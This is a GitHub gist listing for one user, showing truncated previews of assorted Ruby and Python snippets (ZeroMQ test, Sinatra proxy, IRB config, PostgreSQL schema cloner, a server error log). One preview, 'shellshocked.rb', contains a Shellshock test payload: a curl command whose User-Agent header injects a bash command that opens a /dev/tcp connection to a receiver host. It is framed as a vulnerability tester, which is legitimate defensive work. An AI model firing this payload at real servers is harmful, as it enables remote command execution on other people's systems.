rabbitt’s gists

rabbitt / zeromq-client-drop-reconnect-test.rb

Created January 23, 2012 03:34

Simulates a client drop and reconnect during REQ/REP send/receive

	#!/usr/bin/env ruby

	require 'ffi-rzmq'
	require 'timeout'

	ctx = ZMQ::Context.new

	MAX_RETRIES = 5

	Thread.abort_on_exception = true

rabbitt / substitutions.rb

Last active December 28, 2015 06:29

see: http://xkcd.com/1288/

	#!/usr/bin/ruby

	# dependencies:
	# gem install sinatra
	# gem install mechanize

	#
	# to run:
	# from command line type: ruby substitutions.rb &
	# and in your browser, go to: localhost:4567/http://some.random.site.com/

rabbitt / gist:9426020

Created March 8, 2014 05:57

testing command execution ideas

	require 'open3'
	require 'pp'
	require 'eventr'
	require 'stringio'

	$eventr = Eventr::Coordinator.instance
	$eventr.publishers(:stderr, :stdout)
	$eventr.consumer(:stderr) { \|msg\| $stderr.puts "STDERR: #{msg}" }
	$eventr.consumer(:stdout) { \|msg\| $stdout.puts "STDOUT: #{msg}" }
	$eventr.start

rabbitt / player.rb

Last active April 16, 2016 02:41

interactive rubywarrior

	require 'readline'
	require 'terminfo'
	require 'abbrev'
	require 'singleton'

	$stty_save = %x{stty -g}.chomp
	Signal.trap('WINCH', ->(*a) { Readline.set_screen_size(TermInfo.screen_size[0], TermInfo.screen_size[1]) })
	Signal.trap('INT', ->(*a) { system('stty', $stty_save); exit! })
	Signal.trap('QUIT', ->(*a) { system('stty', $stty_save); exit! })

rabbitt / gist:9766845

Created March 25, 2014 17:26

torquebox run failure

	$ torquebox run --clustered -b 0.0.0.0
	[WARNING] root-knob.yml has not been deployed. Starting TorqueBox anyway.
	Booting AS7 from configuration /usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss/standalone/configuration/standalone-ha.xml
	/usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss/bin/standalone.sh -Djruby.home=/usr/local --server-config=standalone-ha.xml -b 0.0.0.0
	JAVA_OPTS already set in environment; overriding default settings with values: -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true
	=========================================================================

	JBoss Bootstrap Environment

	JBOSS_HOME: /usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss

rabbitt / substitutions.rb

Created March 27, 2014 14:28

substitutions a la xkcd: https://xkcd.com/1288/

	#!/usr/bin/ruby

	# dependencies:
	# gem install sinatra
	# gem install mechanize

	#
	# to run:
	# from command line type: ruby substitutions.rb &
	# and in your browser, go to: localhost:4567/http://some.random.site.com/

rabbitt / .irbrc

Last active August 29, 2015 14:03

	# sublime: x_syntax Packages/Ruby/Ruby.tmLanguage
	# sublime: translate_tabs_to_spaces false; tab_size 2

	IRB.conf[:IGNORE_SIGINT] = true
	IRB.conf[:USE_READLINE] = true
	IRB.conf[:PROMPT_MODE] = :CLASSIC

	def inject_path(path, where = :before)
	require 'pathname'
	path = Pathname.new(path).realpath.to_s

rabbitt / shellshocked.rb

Last active October 13, 2017 17:33

Shellshock Remote Server Vulnerability Tester

	#!/usr/bin/env ruby

	=begin

	This is equivalent to running the following from the command line:

	curl -H 'User-Agent: () { :; }; exec 3<>/dev/tcp/www.receiver-host.com/80; echo -e "GET / HTTP/1.0\nHost: www.receiver-host.com\nUser-Agent: shellshock\nReferer: vulnerable\n\n" >&3; cat <&3' https://some.host.that.might.be.vulnerable.com -o/dev/null -s

	To use this, do the following:
	1. log into a webserver you control and have access to the access logs of, say: www.foo.com

rabbitt / schema_clone.py

Last active October 8, 2020 12:56

PostgreSQL schema cloner (including data).

	import psycopg2 as pg

	from io import BytesIO
	from collections import defaultdict
	from contextlib import contextmanager
	from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT, ISOLATION_LEVEL_READ_COMMITTED

	READ_COMMIT = ISOLATION_LEVEL_READ_COMMITTED
	AUTO_COMMIT = ISOLATION_LEVEL_AUTOCOMMIT

rabbitt / centos6.5-output.txt

Last active August 29, 2015 14:14

Carl P. Corliss rabbitt